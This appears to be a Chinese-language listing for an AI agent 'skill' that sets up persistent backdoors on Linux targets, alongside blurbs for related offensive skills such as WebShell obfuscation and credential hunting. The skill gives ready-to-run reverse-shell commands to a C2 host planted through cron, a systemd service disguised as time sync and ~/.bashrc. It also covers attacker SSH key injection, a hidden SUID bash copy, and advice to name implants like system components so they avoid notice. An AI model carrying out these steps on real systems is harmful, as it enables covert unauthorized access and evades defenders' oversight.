一键导入
persistence-linux
在 Linux 目标上建立持久化后门,包括 cron 任务、systemd 服务、SSH authorized_keys、~/.bashrc 注入、SUID 后门等方式。当任务涉及 Linux 持久化、后门植入、维持访问、cron 后门时使用。执行前必须获得用户明确确认。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
在 Linux 目标上建立持久化后门,包括 cron 任务、systemd 服务、SSH authorized_keys、~/.bashrc 注入、SUID 后门等方式。当任务涉及 Linux 持久化、后门植入、维持访问、cron 后门时使用。执行前必须获得用户明确确认。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Shell 混淆与免杀——教 AI 理解 WebShell/内存马工作原理,在生成 payload 时自主应用字符串加密、类加载规避、反射规避、控制流混淆、环境探测等混淆策略
当用户希望在平台侧开发、测试、创建或更新 Disguise 时使用。该 skill 用于生成符合平台约束的 encodeBody、decodeBody、headersJson、description 和规范名称,并优先调用 testDisguise 验证 encode/decode 是否可互逆,再创建或更新 Disguise。
当用户希望在平台侧编写、生成、完善、检查、保存、更新或删除指纹规则时使用。该 skill 用于生成符合 FingerprintComponent 约束的 HTTP/TCP 指纹 rule.requests 与 rule.script,并要求通过平台 FingerprintTools 查询已有指纹、读取详情、保存和删除,不直接读写 VFS 指纹文件。
当用户希望基于命中的指纹获取漏洞利用建议时使用。该 skill 读取一组 fingerprintId 对应的 info.vulnerabilities 元数据,按风险等级排序输出可利用方向、对应 CVE、可调用的 exploit skill 与人工跟进项,不直接执行任何利用动作。
在 Linux 目标上系统性地检测权限提升路径,包括 SUID/SGID 文件、sudo 配置、可写的 cron 脚本、内核版本漏洞、NFS 错误配置、PATH 劫持等。当任务涉及 Linux 提权、SUID、sudo 滥用、内核漏洞时使用。
在目标主机的环境变量、进程启动参数、配置文件和常见凭据存放路径中猎取账号密码、Token、密钥等敏感信息。覆盖 JDBC 数据库、Redis、Nacos、Shiro Key、SSH、云凭据等所有场景。当任务涉及凭据搜集、密钥提取、数据库密码、Redis 密码、Nacos 配置、Shiro Key、API Token、云凭据或服务账号时使用。
| name | persistence-linux |
| description | 在 Linux 目标上建立持久化后门,包括 cron 任务、systemd 服务、SSH authorized_keys、~/.bashrc 注入、SUID 后门等方式。当任务涉及 Linux 持久化、后门植入、维持访问、cron 后门时使用。执行前必须获得用户明确确认。 |
| enabled | true |
| tags | ["persistence","linux"] |
当用户明确要求在 Linux 目标上建立持久化访问时,使用这个 skill。
重要:执行前必须向用户明确说明将要进行的操作和影响,并等待确认。
| 原则 | 说明 |
|---|---|
| 用户确认优先 | 所有写操作执行前必须获得用户明确确认 |
| 最小痕迹 | 只植入一种持久化方式,避免多重痕迹 |
| 伪装命名 | 文件名、服务名、cron 注释要像系统组件 |
| 记录清理路径 | 每次植入必须记录完整清理命令 |
| 验证生效 | 植入后必须验证持久化已生效 |
WebShell 环境注意:
/etc/cron.allow 限制)~/.ssh 目录可能不存在且 HOME 目录可能不可写cron 守护进程在目标机器上建立至少一种持久化机制,确保即使 Webshell 被清理或服务重启后,仍可恢复访问。
在任何工具调用前,先输出:
如果已有侦察摘要,先读取 privilegeProfile(root 或普通用户)、hostProfile(OS 版本)、containerProfile(容器状态)。
id && whoami
# 检查 cron 可用性
which crontab 2>/dev/null && crontab -l 2>/dev/null
# 检查 systemd 可用性
ps -p 1 -o comm= 2>/dev/null
# 检查 SSH 服务
ss -tlnp 2>/dev/null | grep ":22"
# 检查 HOME 目录可写性
test -w ~ && echo "HOME_WRITABLE" || echo "HOME_NOT_WRITABLE"
根据环境选择(向用户说明后等待确认):
| 权限 | 环境 | 推荐方式 | 备选 |
|---|---|---|---|
| root | systemd 可用 | systemd 服务 | cron |
| root | 无 systemd | cron(root crontab) | SUID 后门 |
| 普通用户 | SSH 开启 | SSH authorized_keys | cron |
| 普通用户 | 无 SSH | cron | bashrc 注入 |
| 容器内 | 任意 | cron(如可用) | bashrc |
适用: 任何有 crontab 权限的用户
植入:
# 添加 cron(替换 C2 地址和端口)
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/<C2_HOST>/<C2_PORT> 0>&1'") | crontab -
验证:
crontab -l | grep -v "^#"
清理:
crontab -l | grep -v "<C2_HOST>" | crontab -
注意:
/etc/cron.allow 存在且不含当前用户,crontab 不可用/etc/cron.d/ 下的文件(更隐蔽)适用: 目标开启 SSH 服务,且可写 ~/.ssh/ 目录
植入:
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "<ATTACKER_PUBLIC_KEY>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
验证:
cat ~/.ssh/authorized_keys | tail -1
清理:
# 删除最后一行(或指定公钥行)
sed -i '/<KEY_FINGERPRINT>/d' ~/.ssh/authorized_keys
注意:
ssh-keygen -t ed25519)/etc/ssh/sshd_config 中 AuthorizedKeysFile 是否为默认路径PubkeyAuthentication)适用: 有 root 权限,目标使用 systemd
植入:
cat > /etc/systemd/system/network-sync.service << 'EOF'
[Unit]
Description=Network Time Synchronization Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<C2_HOST>/<C2_PORT> 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable network-sync.service
systemctl start network-sync.service
验证:
systemctl is-enabled network-sync.service
systemctl status network-sync.service
清理:
systemctl disable --now network-sync.service
rm /etc/systemd/system/network-sync.service
systemctl daemon-reload
注意:
network-sync、system-monitor)RestartSec 控制重连间隔,不要太短适用: 低权限用户,作为辅助手段
植入:
echo 'nohup bash -i >& /dev/tcp/<C2_HOST>/<C2_PORT> 0>&1 2>/dev/null &' >> ~/.bashrc
验证:
tail -1 ~/.bashrc
清理:
sed -i '/<C2_HOST>/d' ~/.bashrc
局限性: 只在用户手动登录交互式 Shell 时触发,不适合持续驻留。
适用: 有 root 权限,留下可随时提权的入口
植入:
cp /bin/bash /usr/lib/.cache-update
chmod u+s /usr/lib/.cache-update
使用(普通用户执行):
/usr/lib/.cache-update -p
验证:
ls -la /usr/lib/.cache-update | grep "^-..s"
清理:
rm /usr/lib/.cache-update
注意:
/usr/lib/、/var/cache/ 等系统目录).cache-update、.libsync)/tmp 为 nosuid,不要放在 /tmp| 优先级 | 工具 | 用途 |
|---|---|---|
| 1 | CommandTools | 环境确认、执行植入命令、验证 |
| 2 | FileTools | 创建 systemd 服务文件、读取验证 |
| 场景 | 回退策略 |
|---|---|
crontab 被 /etc/cron.allow 限制 | 尝试 SSH 公钥或 bashrc |
~/.ssh 不可写 | 尝试 cron |
| 容器内无 systemd | 使用 cron 或 bashrc |
| 容器内无 cron | 使用 bashrc 或在应用启动脚本中注入 |
| SELinux 阻止执行 | 标注限制,建议用户评估是否调整 |
| SSH 未开启 | 使用 cron 或 systemd |
| 所有方式均失败 | 报告环境限制,建议用户评估其他方案 |
## Linux 持久化摘要
**当前权限**:{username}({root/user})
**选择方式**:{method_name}
**状态**:{已部署并验证 / 部署失败}
---
## 植入详情
| 项目 | 内容 |
|------|------|
| 方式 | {cron / ssh_key / systemd / bashrc / suid} |
| 位置 | {完整路径或 crontab 规则} |
| 触发条件 | {定时 / 开机 / 登录时 / 手动} |
| 连接方式 | {如何重新接入} |
## 清理命令
```bash
{完整清理命令}
{验证输出}
1~2 条具体建议
### 建议示例
| 场景 | 建议 |
|---|---|
| 持久化成功 | 使用 recon-internal-network skill 探测内网 |
| 需要凭据 | 使用 hunt-credentials skill 收集凭据 |
| 权限不足 | 先使用 escalate-linux-privilege skill 提权 |
---
## 八、决策规则
| 场景 | 行为 |
|---|---|
| 执行前 | 必须向用户确认,说明写入内容和位置 |
| 多种方式可用 | 推荐 SSH 公钥(最稳定、最隐蔽、最易清理) |
| 无 root 权限 | 优先 cron 或 SSH 公钥 |
| 需要最高隐蔽性 + root | SUID 后门(无网络连接痕迹) |
| 命名规范 | 像系统组件,避免 `shell`、`backdoor` 等 |
| 植入数量 | 只植入一种,避免多重痕迹 |
| 植入后 | 必须验证生效并记录清理命令 |
| 容器环境 | 注意容器重启后文件可能丢失 |
| 所有植入信息 | 写入侦察摘要 |
---
## 九、结构化摘要写入
完成后必须:
1. `manage_recon_summary(action="append")` — 已部署的持久化方式、路径和验证结果
2. `manage_recon_summary(action="append")` — 机器可读字段
结构化 patch 示例:
```json
{
"persistenceProfile": {
"linux": {
"methods": [
{
"type": "ssh_authorized_keys",
"deployed": true,
"path": "/home/www-data/.ssh/authorized_keys",
"payload": "ed25519 public key",
"trigger": "ssh login",
"verified": true,
"cleanup": "sed -i '/<fingerprint>/d' ~/.ssh/authorized_keys"
}
],
"cleanupNotes": "删除 authorized_keys 中对应公钥行即可清除"
}
}
}
highwrite_destructiveCommandTools, FileToolsResourceTools, ScheduledTaskTools, ServiceManagerTools, PersistenceToolspersistenceProfile.linux, openQuestionsrecon-internal-network, hunt-credentials